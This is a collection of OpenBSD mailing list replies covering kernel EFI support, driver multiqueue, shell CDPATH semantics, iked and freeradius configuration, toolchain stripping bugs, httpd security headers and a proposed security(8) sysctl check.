On 2023/04/21 12:32, Landry Breuil wrote: > Le Fri, Apr 21, 2023 at 09:27:35AM +0100, Stuart Henderson a écrit : > > On 2023/04/20 00:55, Mark Kettenis wrote: > > > > Date: Tue, 18 Apr 2023 19:11:40 +0300 > > > > From: Sergii Dmytruk > > > > > > > > Hi there, > > > > > > > > Pinging to say that this thread is silent for 3 months. EFI runtime and > > > > bootloader changes are there, /dev/efi is the last piece left to be > > > > committed for fwupd port to work. > > > > > > > > Best regards, > > > > Sergii > > > > > > Hi Sergii, > > > > > > The /dev/efi support is in place as well, and as far as I can tell > > > your test programs worked. I didn't find the time yet to test fwupd. > > > IIRC I ran into some issue building the ports you created because some > > > ports infrastructure changes that happend in the meantime. > > > > I found the git repo with fwupd/libgusb/libjcat/libxmlb and have tweaked > > them a bit according to normal ports standards and set it up to install > > the /etc files for fwupd. tar attached. > > had a very quick look, we already have devel/libgusb but not the same > version. ah I didn't think to check that - I just used versions from the https://github.com/3mdeb/ports/tree/fwupd-port repo and didn't try updating anything. > I suppose from all those things, the libexec/fwupd binary > daemon will be spawned as root by systemwide dbus/messagebus to access > /dev/efi ? like other needing-root daemons like upowerd & al, with > access managed by polkit.. > > but maybe that should move to ports@ :) yes probably.
Re: efi(4): Support for EFI variables and tables in the kernel
On 2023/04/20 00:55, Mark Kettenis wrote: > > Date: Tue, 18 Apr 2023 19:11:40 +0300 > > From: Sergii Dmytruk > > > > Hi there, > > > > Pinging to say that this thread is silent for 3 months. EFI runtime and > > bootloader changes are there, /dev/efi is the last piece left to be > > committed for fwupd port to work. > > > > Best regards, > > Sergii > > Hi Sergii, > > The /dev/efi support is in place as well, and as far as I can tell > your test programs worked. I didn't find the time yet to test fwupd. > IIRC I ran into some issue building the ports you created because some > ports infrastructure changes that happend in the meantime. I found the git repo with fwupd/libgusb/libjcat/libxmlb and have tweaked them a bit according to normal ports standards and set it up to install the /etc files for fwupd. tar attached. Might still be some things missing and I haven't tested beyond building but this might help others test things. fwupd.tgz Description: application/tar-gz
Re: [patch] Avoid change of permissions in /etc/resolv.conf
On 2023/04/21 02:45, Juan Picca wrote: > On Thu, Apr 20, 2023 at 11:33:30PM -0600, Theo de Raadt wrote: > > But this situation does not arise, not in this program, and not in 20 other > > daemons. > > > > You changed something to cause this problem. > > Yes. > > I found a similar case in > https://cvsweb.openbsd.org/src/usr.sbin/pkg_add/OpenBSD/AddDelete.pm?rev=1.97=text/x-cvsweb-markup > but from your response maybe it's not the same. > > Sorry for the noise! > Regards, > JMPC > Daemons are expected to be started using rcctl, which ensures a clean environment and use of the correct login class. I think either you must have started it directly without rcctl (don't do that), or set umask in login.conf (in which case, you put it in a section that is too widely used, so it needs to be better targetted). It doesn't make much sense to modify every daemon to cope with an unusual umask when the infrastructure is already there to try to give it a standard environment/settings (it will be total whack-a-mole across all daemons in base and packages to change this). pkg_add is different because it is run from the user's shell where it is expected that the umask might be changed.
Re: em(4) multiqueue
On 2023/04/13 16:45, Sonic wrote: > Is this multiqueue support in 7.3 or does it require patching? > According to Intel the i211 should have 2 queues but I see no msi-x > support in dmesg: > em0 at pci1 dev 0 function 0 "Intel I211" rev 0x03: msi, address It is not committed, there's a diff.
Re: em(4) multiqueue
On 2023/04/13 13:30, Brian Conway wrote: > Reviving this thread, apologies for discontinuity in mail readers: > https://marc.info/?t=16564219358 > > After rebasing on 7.3, my results have mirrored Hrvoje's testing at the end > of that thread. No issues with throughput, unusual latency, or reliability. > `vmstat -i` shows some level of balancing between the queues. I've been > testing on as many em(4) systems as I have access to, some manually, some in > a packet forwarder/firewall scenarios: > > em0 at pci1 dev 0 function 0 "Intel I210" rev 0x03, msix, 2 queues, address > 00:f1:f3:... > em1 at pci2 dev 0 function 0 "Intel I210" rev 0x03, msix, 2 queues, address > 00:f1:f3:... > em2 at pci3 dev 0 function 0 "Intel I210" rev 0x03, msix, 2 queues, address > 00:f1:f3:... > em3 at pci4 dev 0 function 0 "Intel I210" rev 0x03, msix, 2 queues, address > 00:f1:f3:... > em4 at pci5 dev 0 function 0 "Intel I210" rev 0x03, msix, 2 queues, address > 00:f1:f3:... > em5 at pci6 dev 0 function 0 "Intel I210" rev 0x03, msix, 2 queues, address > 00:f1:f3:... > > em0 at pci1 dev 0 function 0 "Intel I210" rev 0x03, msix, 4 queues, address > 00:0d:b9:... > em1 at pci2 dev 0 function 0 "Intel I210" rev 0x03, msix, 4 queues, address > 00:0d:b9:... > em2 at pci3 dev 0 function 0 "Intel I210" rev 0x03, msix, 4 queues, address > 00:0d:b9:... > > em0 at pci1 dev 0 function 0 "Intel I211" rev 0x03, msix, 2 queues, address > 00:0d:b9:... > em1 at pci2 dev 0 function 0 "Intel I211" rev 0x03, msix, 2 queues, address > 00:0d:b9:... > em2 at pci3 dev 0 function 0 "Intel I211" rev 0x03, msix, 2 queues, address > 00:0d:b9:... > > em0 at pci1 dev 0 function 0 "Intel 82574L" rev 0x00: msi, address > 68:05:ca:... > > The only questions I have are around queue identification. All the specs I've > been able to find indicate the I210 should have 4 queues, did Intel make a > cheaper version with 2 toward the end of production? Or could it be an I211 > masquerading as an I210 (and would that be bad for the driver)? Is it a 2-cpu machine? > Also, > https://www.mouser.com/pdfdocs/Intel_82574L_82574IT_GbE_Controller_brief.pdf > indicates that the 82574L should have 2 queues? No msix in your dmesg excerpt for that one
Re: vmm firmware: omit datetime and hostname from version string
On 2023/04/06 15:49, Klemens Nanni wrote:
> bios0: vendor SeaBIOS version
> "1.14.0-20230330_133212-symphytum.spacehopper.orgp2-OpenBSD-vmm" date
> 01/01/2011
>
> in dmesg is a weird concat of port version, datetime, hostname,
> port revision, uname(?) and a fixed string(?) in that order.
oh yeuch, yeah that is not supposed to be there.
> I don't fully understand their messy buildversion.py script, but can make
> it produce more sensible
> bios0: vendor SeaBIOS version "1.14.0p3-OpenBSD-vmm" date 01/01/2011
>
> Feedback? Objection? OK?
that is how it used to look in the 1.11.0 days. going by that result: OK.
> Index: Makefile
> ===
> RCS file: /cvs/ports/sysutils/firmware/vmm/Makefile,v
> retrieving revision 1.28
> diff -u -p -r1.28 Makefile
> --- Makefile 4 Feb 2023 09:35:35 - 1.28
> +++ Makefile 5 Apr 2023 19:50:12 -
> @@ -17,7 +17,7 @@ FW_DRIVER= vmm
> FW_VER= 1.14.0
> SB_VER= 20180715
> DISTNAME=seabios-${FW_VER}
> -REVISION=2
> +REVISION=3
> DISTFILES= ${DISTNAME}${EXTRACT_SUFX} \
> sgabios-${SB_VER}{72f39d48bedf044e202fd51fecf3e2218fc2ae66}.tar.gz:0
>
> Index: patches/patch-scripts_buildversion_py
> ===
> RCS file:
> /cvs/ports/sysutils/firmware/vmm/patches/patch-scripts_buildversion_py,v
> retrieving revision 1.3
> diff -u -p -r1.3 patch-scripts_buildversion_py
> --- patches/patch-scripts_buildversion_py 7 Mar 2022 22:03:32 -
> 1.3
> +++ patches/patch-scripts_buildversion_py 6 Apr 2023 15:40:40 -
> @@ -3,6 +3,8 @@ a consistent version number detected for
> detection is too simplistic to cope with older binutils (mix of
> "GNU assembler 2.17" and "GNU ld version 2.17" etc).
>
> +Omit datetime and hostname from dmesg visible version string.
> +
> Index: scripts/buildversion.py
> --- scripts/buildversion.py.orig
> +++ scripts/buildversion.py
> @@ -24,3 +26,11 @@ Index: scripts/buildversion.py
> if verstr.startswith('GNU '):
> isbinutils = 1
> verstr = verstr[4:]
> +@@ -124,6 +126,7 @@ def main():
> + cleanbuild = cleanbuild and ver and options.extra != ""
> + if not ver:
> + ver = "?"
> ++cleanbuild = True # XXX omit useless information
> + if not cleanbuild:
> + btime = time.strftime("%Y%m%d_%H%M%S")
> + hostname = socket.gethostname()
>
Re: [PATCH] Add -executable, -readable, and -writable options to /usr/bin/find
On 2023/03/31 19:40, Jared Harper wrote: > However, I had some difficulty finding the source of access(2) so I could not > vet by assumptions. see sys_access() in sys/kern/vfs_syscalls.c
Re: [PATCH] Add -executable, -readable, and -writable options to /usr/bin/find
On 2023/04/01 11:27, Jared Harper wrote: > For some reason I haven't received the email from Solène (even after > requesting it re-sent on lists.openbsd.org; nor is it in spam; I will > look further into this issue), so I'm adding my reply in-line here: Solène's domain publishes a DMARC p=reject record, so sites doing strict DMARC checks will reject it when sent via mailing lists, unless those lists rewrite the From address. > I suppose then that this point of confusion (the ambiguous nature of > what -executable, et al, actually does) is a good reason not to continue > on this patch. fwiw I didn't find it ambiguous, and it seems like it could be useful, although I don't think it's something I've ever tried to do myself. We have one patch in ports for -executable (in munin; the patch makes it use GNU find instead).
Re: cd CDPATH is attempted before dir
On 2023/03/10 13:31, Theo Buehler wrote:
> > Other shells do not have this bug, such as bash, yash, mksh, ash, dash.
mksh does behave the same way as OpenBSD's ksh. I tested a source
build and the Debian package.
> On the other hand, ksh93 behaves the same way as ksh.
>
> Obviously zsh has a configuration knob for this, conspicuously named
> CD_POSIX:
>
> https://zsh.sourceforge.io/Doc/Release/Options.html
>
> Indeed, see point 5:
>
> https://pubs.opengroup.org/onlinepubs/9699919799/utilities/cd.html
It changed in the spec.
SUSv2 (1998) suggests to me that cd should not change to a directory
under the current directory unless CDPATH includes . or an empty
component.
https://pubs.opengroup.org/onlinepubs/007908799/xcu/cd.html
2004 has https://pubs.opengroup.org/onlinepubs/009604599/utilities/cd.html
which adds the set of steps and is much closer to the current one.
Point 5 is "check all the CDPATH dirs, if the dir given to the cd
command exists then skip to #7, otherwise fall through to #6", and
#6 is "use the dir given to the cd command directly", i.e. the bash
type behaviour rather than ksh type behaviour.
If you want consistent behaviour between shells you must specify .
(or an empty directory) anyway; bash follows the posix spec:
bash-5.2$ cd
bash-5.2$ ls -d bin
bin
bash-5.2$ CDPATH=/usr cd bin
/usr/bin
bash-5.2$ cd
bash-5.2$ CDPATH=.:/usr cd bin
bash-5.2$ pwd
/home/sthen/bin
But zsh default setting does not:
bamboo% CDPATH=/usr cd bin
bamboo% pwd
/home/sthen/bin
bamboo% cd
bamboo% CDPATH=.:/usr cd bin
bamboo% pwd
/home/sthen/bin
("setopt POSIX_CD" and it does behave like bash).
All a bit of a mess isn't it. ksh's behaviour does at least mean
you're less likely to change to an unexpected directory.
> > but i beg to differ and say this should be fixed i suppose.
>
> While I have no opinion on whether this behavior makes sense, can or
> should be changed, I'm quite confident that this is not a bug.
+1
Re: rc.d.8: fix daemon_* markup
On 2023/03/06 14:16, Klemens Nanni wrote: > 06.03.2023 13:49, Raf Czlonka пишет: > > To quote sthen@[0]: > > > > But that isn't, it is talking about _execdir, > > _flags, etc where you need to replace the > > > > [0] https://marc.info/?l=openbsd-tech=165364961710717=2 > > I find this dance in rc.d.8 not helpful: > .It Ar daemon Ns _flags > > daemon_flags and foo_flags control the same value in the end. > daemon_flags is set in rc.d scripts themselves and foo_flags can > overrule those from rc.conf.local. > > So why not mark them up as daemon_flags in rc.d.8 so that they become > more discoverable via tags? > > rc.d.8 still expains all the fuzz around replaing "daemon" with "foo" > in detail, right in the same ENVIRONMENT section around the list. > > When I read rc.d(8) to write my own script, I am looking for > daemon_flags and not foo_flags, so that makes sense and seems to have > priority over foo_flags wrt. markup since this is rc.d(8). This ENVIRONMENT section of rc.d(8) is *specifically* talking about lines added to rc.conf.local. Most readers are not writing their own scripts, and we have way too many users who say things like "I edited the rc.d(8) script to change the flags" who will run into problems at update time. I'd like to avoid any changes that reduce distinction between "foo_flags" in rc.conf(.local) and "daemon_flags" in rc.d/foo. > rc.conf.local(8) also explains the 'daemon vs. foo' dance, with the > weird markup, but there it is fine and not important, since it is not > the authorative source rc.d variables.
Re: rc.conf.8: list fsck_flags
On 2023/03/06 13:10, Klemens Nanni wrote: > All relevant variables should be explained. > > Feedback? OK? > > Index: rc.conf.8 > === > RCS file: /cvs/src/share/man/man8/rc.conf.8,v > retrieving revision 1.31 > diff -u -p -r1.31 rc.conf.8 > --- rc.conf.8 25 Sep 2022 22:47:27 - 1.31 > +++ rc.conf.8 10 Nov 2022 18:56:33 - > @@ -171,6 +171,10 @@ master map file. > The script > .Pa /etc/rc.d/amd > appends its content to the command line when starting the auto mounter > daemon. > +.It Cm fsck_flags > +rc calls: > +.Xr fsck 8 > +.Pf $ Brq Ar fsck_flags While I'd certainly _like_ to be able to set flags and force -y on certain types of system where it makes sense, I don't think there's any code to support this is there?
Re: /dev/full
On 2023/03/02 10:50, Dave Voutila wrote: > Is this really a problem with ports? That Python issue was related to a > Python 2.7 unit test and from 2014. not really, no. there has been the odd patch over the years but nothing current (no more than 4 including the Python one).
Re: Authentication in OpenIKED
On 2023/03/01 22:15, A Tammy wrote: > > > > -# Configuration for clients connecting with EAP authentication. > > +# Configuration for clients connecting with EAP authentication > > +# and sending all traffic over the IKEv2 tunnel. > > # Remember to set up a PKI, see ikectl(8) for more information. > Is a PKI still needed in this example config? The comment seems to imply > that I need one even with PSK auth. > Like PKI is an alternative, so maybe something like - Setting up a PKI > is an alternative to using a PSK, see ikectl(8) for more information. That block is for EAP and yes that needs some form of PKI (either a local CA, or at least a server certificate signed by another CA - but for the latter you have some awkward handling to assemble the files with the intermediate cert in the right place; iked has non-standard requirements). Could add a couple more lines to make that more clear though, and give some hints for people who don't know what PKI is - see below. On 2023/03/02 05:35, Crystal Kolipe wrote: > On Wed, Mar 01, 2023 at 04:53:00PM +, Stuart Henderson wrote: > > How about this? Show a strong psk in the example > > ... > > > -# psk "you-should-not-use-psk-authentication!" > > +# psk "tyBNv13zuo3rg1WVXlaI1g1tTYNzwk962mMUYIvaLh2x8vvvyA" > > I strongly disagree with this change. > > Not only are you removing a note that psk authentication is a poor choice, > but you're also providing a _specific_ and otherwise strong key in the example > which new or unfamiliar users could _easily_ use believing that it was a good > choice. Could do something like this .. I do think it's important that if there's any example at all that it does give an indication that people might like to use a psk with a decent amount of entropy. (And that is exactly one of the reasons why my first thought was to delete the file..) Index: iked.conf === RCS file: /cvs/src/etc/examples/iked.conf,v retrieving revision 1.2 diff -u -p -r1.2 iked.conf --- iked.conf 1 Mar 2023 22:45:25 - 1.2 +++ iked.conf 2 Mar 2023 15:20:47 - @@ -8,7 +8,10 @@ # Configuration for clients connecting with EAP authentication # and sending all traffic over the IKEv2 tunnel. -# Remember to set up a PKI, see ikectl(8) for more information. +# +# EAP requires a server certificate; see ikectl(8) for more details +# on generating this with an iked-specific local CA. +# #ikev2 "eapclient" passive esp \ # from any to dynamic \ # local any peer any \ @@ -17,10 +20,16 @@ # config name-server 10.1.0.2 \ # tag "$name-$id" -# Configuration for a client authenticating with a pre-shared key. +# Configuration for a client authenticating with a pre-shared key, +# mostly useful for LAN-to-LAN tunnels between static IP endpoints. +# +# For iked->iked tunnels you can use a simple config using RSA keys +# instead - omit psk and copy /etc/iked/local.pub on each side to +# /etc/iked/pubkeys/ipv4/ on the other. +# #ikev2 esp \ # from 10.3.0.0/24 to 10.1.0.0/24 \ # from 10.5.0.0/24 to 10.1.0.0/24 \ # from 10.5.0.0/24 to 172.16.1.0/24 \ # local 192.168.1.1 peer 192.168.2.1 \ -# psk "tyBNv13zuo3rg1WVXlaI1g1tTYNzwk962mMUYIvaLh2x8vvvyA" +# psk "tyBNv13zuo3rg1WVXlaI1g1tTYNzwk962mMUYIvaLh2x8vvvyA-replace-me"
Re: Authentication in OpenIKED
[from misc] > > I don't see that in the iked.conf manual. There is some reference to not > > using psk in /etc/examples/iked.conf but it's not clear whether that's > > because of the need to share a single psk with all endpoints connecting > > via the same iked.conf configuration line (certainly a problem when > > you have multiple users from unknown IPs but perhaps not if used for > > separately-configured lan-to-lan tunnels with strong randomly generated > > psks) or whether it's something else. > > We should probably remove that comment. > > I think there is actually no reason to avoid PSK in IKEv2 if both endpoints > are trusted. Of course it doesn't scale well and all security considerations > for shared WiFi passwords apply here as well, but there isn't an obvious > weakeness like the plain text passphrase being sent over the network. > Expecting people to generate X509 certificates for simple peer-to-peer setups > seems a lot worse. How about this? Show a strong psk in the example, plus the existing "win7" config is a bit strange, using 'config address' to set a fixed single address while tunnelling a subnet, so I've replaced it with a config that is probably more common in real life where the tunnel is used for all traffic (which is a bit more tricky to configure if you're new to this). Index: iked.conf === RCS file: /cvs/src/etc/examples/iked.conf,v retrieving revision 1.1 diff -u -p -r1.1 iked.conf --- iked.conf 11 Jul 2014 21:20:10 - 1.1 +++ iked.conf 1 Mar 2023 16:50:12 - @@ -6,13 +6,14 @@ #user "user1" "password123" #user "user2" "password456" -# Configuration for clients connecting with EAP authentication. +# Configuration for clients connecting with EAP authentication +# and sending all traffic over the IKEv2 tunnel. # Remember to set up a PKI, see ikectl(8) for more information. -#ikev2 "win7" passive esp \ -# from 10.1.0.0/24 to 10.2.0.0/24 \ +#ikev2 "eapclient" passive esp \ +# from any to dynamic \ # local any peer any \ # eap "mschap-v2" \ -# config address 10.2.0.1 \ +# config address 10.2.0.0/24 \ # config name-server 10.1.0.2 \ # tag "$name-$id" @@ -22,4 +23,4 @@ # from 10.5.0.0/24 to 10.1.0.0/24 \ # from 10.5.0.0/24 to 172.16.1.0/24 \ # local 192.168.1.1 peer 192.168.2.1 \ -# psk "you-should-not-use-psk-authentication!" +# psk "tyBNv13zuo3rg1WVXlaI1g1tTYNzwk962mMUYIvaLh2x8vvvyA"
Re: freeradius denies to authentocate with eap-tls
(moving to ports#, reply-to is set, although this is unlikely to be OpenBSD-specific) On 2023/02/25 02:18, Mikhael Lialin wrote: > Trying to setup witi with radius eap-tls authentication. > > And getting time out while authenticated. > > Tried with custome setup, and default setup with generated > certificates within installation. > > in ktrace of rediusd something waiting: > > 28664 radiusd RET wait4 -1 errno 10 No child processes > > all configuration of freeradius are default after > installation, nothing were modified. > > Please help. > > Debug ant ktrace session attached. ktrace is too low-level to be useful here. freeradius won't work directly with default setup, you at least need to configure shared secrets between the APs and freeradius (in clients.conf and on the AP), and tell freeradius how to decide whether a user is allowed to authenticate. You say EAP-TLS, this uses certificates for authentication on bith the server *and* the client, so for that you'll also need to figure out how to get client certificates signed, etc. I strongly recommend ignoring this until you have the basics working with password based auth. Follow https://wiki.freeradius.org/guide/Basic-configuration-HOWTO first and make sure it works with radtest on the local machine. (Note if running it manually in debug mode as suggested in that guide, you will need the full path /usr/local/sbin/radiusd, there is a minimal radius daemon from the base OS in /usr/sbin/radiusd which does not support EAP/PEAP). If that fails, it needs fixing first before moving onto one of the EAP methods that you need for WPA-Enterprise (either on an AP directly or you can try eapol_test running on the freeradius server as shown in http://deployingradius.com/scripts/eapol_test/ - skip the "building eapol_test" section and pkg_add wpa_supplicant instead).
Re: ttycreate from FreeBSD equivalent
On 2023/02/25 11:32, jon@elytron.openbsd.amsterdam wrote: > Hello, I'm in the process of adapting a driver from freebsd to > openbsd. I was wondering what I should use in place of a call like > ttycreate(tmptty, TS_CALLOUT, "N%r", i); > > any hints appreciated, tmptty is a struct tty from /sys/kern/tty.c > (openbsd) Probably something involving ttymalloc. That must be rather old FreeBSD code I think? They don't sem to have used ttycreate for a long time either.
Re: Patch to add -p (reading/parsing /etc/sysctl.conf) option to sysctl
A couple of comments,
> - while ((ch = getopt(argc, argv, "Aanqw")) != -1) {
> + while ((ch = getopt(argc, argv, "Aanpqw")) != -1) {
The use of -p as the flag seems a bit odd, -f would be my instinctive
choice - though it does match one of the three possibliities in Linux'
sysctl(8).
FreeBSD has this functionality under -f with a non-optional filename.
Linux has the same thing under all of -f, -p and --load (why?!) with
an optional filename defaulting to /etc/sysctl.conf.
At this point it might make sense to pause for more feedback to see if
there are objections before spending more time coding, OpenBSD is
often quite conservative about adding options to standard tools.
> + if(unveil(SYSCTL_CONF, "r") == -1 && errno != ENOENT)
> + err(1, "unveil /etc/sysctl.conf");
It would make more sense to use the macro in the error message as
well, though if this does go in, matching other OS' ability to use
a different filename would make more sense.
> + while(fgets(line, SYSCTL_BUFSIZ, file) != NULL) {
> + /* Ignore comments */
> + if (strncmp(line, "#", 1) == 0)
> + continue;
The existing format allows # in the middle of a line, and (especially
in conjunction with this) there maybe spaces which need trimming.
FreeBSD's implementation handles those (with extra bits to avoid
trimming # inside quotes).
llvm-strip vs ld.bfd (at least on i386): SIGABRT in sys_execve
Noticed while testing with LLVM 15, but it affects plain -current
as well. If I take a binary that was linked with ld.bfd and strip it
(i.e. this is now using llvm-strip), it breaks the output file in
such a way that it cannot be executed:
: i386.p; cat a.c
#include
int main() {
printf("test\n");
}
: i386.p; make a LDFLAGS=-fuse-ld=/usr/bin/ld.bfd
cc -O2 -pipe -fuse-ld=/usr/bin/ld.bfd -o a a.c
: i386.p; strip -o a.stripped a
: i386.p; ./a
test
: i386.p; ./a.stripped
Abort trap
Seems that the SIGABRT is from kern_exec's sys_execve ->
exec_process_vmcmds() failing.
Binaries from the above available at
https://junkpile.org/a
https://junkpile.org/a.stripped
Does anyone have an idea what might be wrong please?
(The reason why the machine is even doing this in the first place
is that ports/lang/gcc isn't building on i386 with llvm 15 and
ld.lld, which is another story. Still, it seems suboptimal the
llvm-strip is breaking this binary. For now I'm using unstripped
ld.bfd-generated gcc binaries to workaround these two issues).
: i386.p; readelf -S a
There are 26 section headers, starting at offset 0x20d0:
Section Headers:
[Nr] Name TypeAddr OffSize ES Flg Lk Inf Al
[ 0] NULL 00 00 00 0 0 0
[ 1] .init PROGBITS0220 000220 0d 00 AX 0 0 16
[ 2] .plt PROGBITS0230 000230 60 04 AX 0 0 4
[ 3] .text PROGBITS0290 000290 0002e8 00 AX 0 0 16
[ 4] .fini PROGBITS0580 000580 0d 00 AX 0 0 16
[ 5] .interp PROGBITS2000 001000 13 00 A 0 0 1
[ 6] .note.openbsd.ide NOTE2014 001014 18 00 A 0 0 4
[ 7] .hash HASH202c 00102c 70 04 A 9 0 4
[ 8] .gnu.hash GNU_HASH209c 00109c 34 04 A 9 0 4
[ 9] .dynsym DYNSYM 20d0 0010d0 000170 10 A 10 13 4
[10] .dynstr STRTAB 2240 001240 66 00 A 0 0 1
[11] .rel.dyn REL 22a8 0012a8 10 08 A 9 0 4
[12] .rel.plt REL 22b8 0012b8 28 08 A 9 2 4
[13] .rodata PROGBITS22e0 0012e0 05 01 AMS 0 0 1
[14] .eh_frame_hdr PROGBITS22e8 0012e8 34 00 A 0 0 4
[15] .eh_frame PROGBITS231c 00131c cc 00 A 0 0 4
[16] .openbsd.randomda PROGBITS20001f18 001f18 04 00 WA 0 0 4
[17] .jcr PROGBITS20001f1c 001f1c 04 00 WA 0 0 4
[18] .dynamic DYNAMIC 20001f20 001f20 a8 08 WA 10 0 4
[19] .ctorsPROGBITS20001fc8 001fc8 08 00 WA 0 0 4
[20] .dtorsPROGBITS20001fd0 001fd0 08 00 WA 0 0 4
[21] .got PROGBITS20001fd8 001fd8 28 04 WA 0 0 4
[22] .bss NOBITS 20002000 002000 30 00 WA 0 0 4
[23] .shstrtab STRTAB 002000 cf 00 0 0 1
[24] .symtab SYMTAB 0024e0 000350 10 25 35 4
[25] .strtab STRTAB 002830 000153 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
: i386.p; readelf -S a.stripped
There are 24 section headers, starting at offset 0x10c0:
Section Headers:
[Nr] Name TypeAddr OffSize ES Flg Lk Inf Al
[ 0] NULL 00 00 00 0 0 0
[ 1] .init PROGBITS0220 000220 0d 00 AX 0 0 16
[ 2] .plt PROGBITS0230 000230 60 04 AX 0 0 4
[ 3] .text PROGBITS0290 000290 0002e8 00 AX 0 0 16
[ 4] .fini PROGBITS0580 000580 0d 00 AX 0 0 16
[ 5] .interp PROGBITS2000 00058d 13 00 A 0 0 1
[ 6] .note.openbsd.ide NOTE2014 0005a1 18 00 A 0 0 4
[ 7] .hash HASH202c 0005b9 70 04 A 9 0 4
[ 8] .gnu.hash GNU_HASH209c 000629 34 04 A 9 0 4
[ 9] .dynsym DYNSYM 20d0 00065d 000170 10 A 10 13 4
[10] .dynstr STRTAB 2240 0007cd 66 00 A 0 0 1
[11] .rel.dyn REL 22a8 000835 10 08 A 9 0 4
[12] .rel.plt REL 22b8 000845 28 08 A 9 2 4
[13] .rodata PROGBITS22e0 00086d 05 01 AMS 0 0 1
[14] .eh_frame_hdr PROGBITS22e8 000875 34 00 A 0 0 4
[15] .eh_frame PROGBITS231c 0008a9
Re: patch for httpd implementing clickjacking protection
On 2023/02/07 12:29, Peter J. Philipp wrote:
> On Tue, Feb 07, 2023 at 10:41:34AM +0000, Stuart Henderson wrote:
> > On 2023/02/07 10:20, Peter J. Philipp wrote:
> > > Hi,
> > >
> > > Arslan Kabeer (on the Internet) made me aware of clickjacking being done
> > > on
> > > my site using OpenBSD httpd. This following patch implements a RFC 7034
> > > protection called "noiframe" which disallows other sites (but not the same
> > > site) to add an iframe to my site.
> > >
> > > The config change is like this:
> > >
> > > ->
> > > location "/" {
> > > directory index index.html
> > > noiframe
> >
> > Using a specific keyword for every site protection header that
> > somebody might want seems a bit much. (There are other settings for
> > x-frame-options, other headers like content-security-policy and
> > x-content-type-options, and various deprecated ones).
> >
> > Wouldn't a general-purpose "set header X with the value Y" make
> > more sense?
>
> Yes this makes more sense. Ignore my patch then, it was whipped up this
> morning when I got the vulnerability report from Arslan. I'm unable to
> look deeper and general purposely into this, though, I have other TODO's.
>
> It seems a mystery to me however how to add this header into httpd based
> off the manual page if that is the hint. Perhaps the maintainer of this
> program now has an idea what we need and can schedule programming for it.
There's no current way to do it with just httpd. Existing headers have
been handled with separate keywords, but stacking more on top in that
way doesn't seem the ideal approach when the set of possible headers
that might be needed is not limited.
Re: patch for httpd implementing clickjacking protection
On 2023/02/07 10:20, Peter J. Philipp wrote:
> Hi,
>
> Arslan Kabeer (on the Internet) made me aware of clickjacking being done on
> my site using OpenBSD httpd. This following patch implements a RFC 7034
> protection called "noiframe" which disallows other sites (but not the same
> site) to add an iframe to my site.
>
> The config change is like this:
>
> ->
> location "/" {
> directory index index.html
> noiframe
Using a specific keyword for every site protection header that
somebody might want seems a bit much. (There are other settings for
x-frame-options, other headers like content-security-policy and
x-content-type-options, and various deprecated ones).
Wouldn't a general-purpose "set header X with the value Y" make
more sense?
Re: Wireless Media Modes Identified in Man Page for ifmedia(4)
On 2023/01/21 14:00, Thomas Dunn wrote: > Hello, > > The man page for ifmedia(4) identifies the media modes defined for IEEE802.11 > Wireless LAN under the heading "MEDIA TYPES AND OPTIONS FOR IEEE802.11 > WIRELESS LAN". > > For better consistency, I suggest changing "TYPES" to "MODES" in this heading. > > Also, back on Oct. 3, 2018, the Wi-Fi Alliance announced "Wi-Fi 4" and "Wi-Fi > 5" as alternative nomenclatures for IEEE802.11 ”11n” and ”11ac” respectively. > This alternative generation-based naming convention subsequently gained > relatively widespread use and popularity. For better clarity, I suggest > updating the descriptions of the corresponding media modes by replacing > "[11n]" and "[11ac]" with "[11n (Wi-Fi 4)]" and "[11ac (Wi-Fi 5)]" > respectively. > > Thank you for your assistance. > > Respectfully, > > Thomas Dunn > > Sent from my iPad I'm not convinced the marketing names add enough information to this technical page to make such a hash of the column alignment on a standard width terminal as listing them would cause.
Re: mem.4: be more accurate about securelevel
On 2023/01/20 18:14, Crystal Kolipe wrote:
> On Fri, Jan 20, 2023 at 01:15:29PM -0700, Theo de Raadt wrote:
> > Todd C. Miller wrote:
> > > I wonder if it makes sense to have a version of sysctl.conf that
> > > only gets used for the next reboot and then is removed, kind of
> > > like /etc/rc.firsttime. Maybe call it /etc/sysctl.once.
> >
> > Well you are shown the change at boot, and it is visible in dmesg -s,
> > which should be good enough.
>
> Otherwise, something like this might be useful for test machines:
Test machines are less of a problem, because they're test machines.
Machines where things have been enabled to debug a problem and then
forgotten are a bigger issue.
I'm not convinced that something visible only on a monitor help much.
How about security(8) though?
Index: share/man/man8/security.8
===
RCS file: /cvs/src/share/man/man8/security.8,v
retrieving revision 1.26
diff -u -p -r1.26 security.8
--- share/man/man8/security.8 13 Jul 2017 19:16:33 - 1.26
+++ share/man/man8/security.8 21 Jan 2023 10:40:37 -
@@ -79,6 +79,10 @@ to protect the programs in
# chown root:wheel /etc/mtree/bin.secure
# chmod 600 /etc/mtree/bin.secure
.Ed
+.It
+Check for insecure
+.Xr sysctl 2
+values.
.Pp
.Sy Note:
These checks do not provide complete protection against
Index: libexec/security/security
===
RCS file: /cvs/src/libexec/security/security,v
retrieving revision 1.41
diff -u -p -r1.41 security
--- libexec/security/security 11 Oct 2020 18:28:17 - 1.41
+++ libexec/security/security 21 Jan 2023 10:40:37 -
@@ -299,6 +299,18 @@ sub check_ksh {
}
}
+sub check_sysctl {
+ $check_title = "Checking sysctl values:";
+ my $securelevel = `sysctl -n kern.securelevel`;
+ chomp $securelevel;
+ nag $securelevel le 0,
+ "kern.securelevel=$securelevel (not secure).";
+ my $allowkmem = `sysctl -n kern.allowkmem`;
+ chomp $allowkmem;
+ nag $allowkmem ge 1,
+ "kern.allowkmem=$allowkmem (userland can access kernel memory).";
+}
+
# Uudecode should not be in the /etc/mail/aliases file.
sub check_mail_aliases {
my $filename = '/etc/mail/aliases';
@@ -910,6 +922,7 @@ backup_passwd;
check_group;
check_csh;
check_ksh(check_sh);
+check_sysctl;
$check_title = "Checking configuration files:";
check_mail_aliases;
check_hostname_if;
Re: mem.4: be more accurate about securelevel
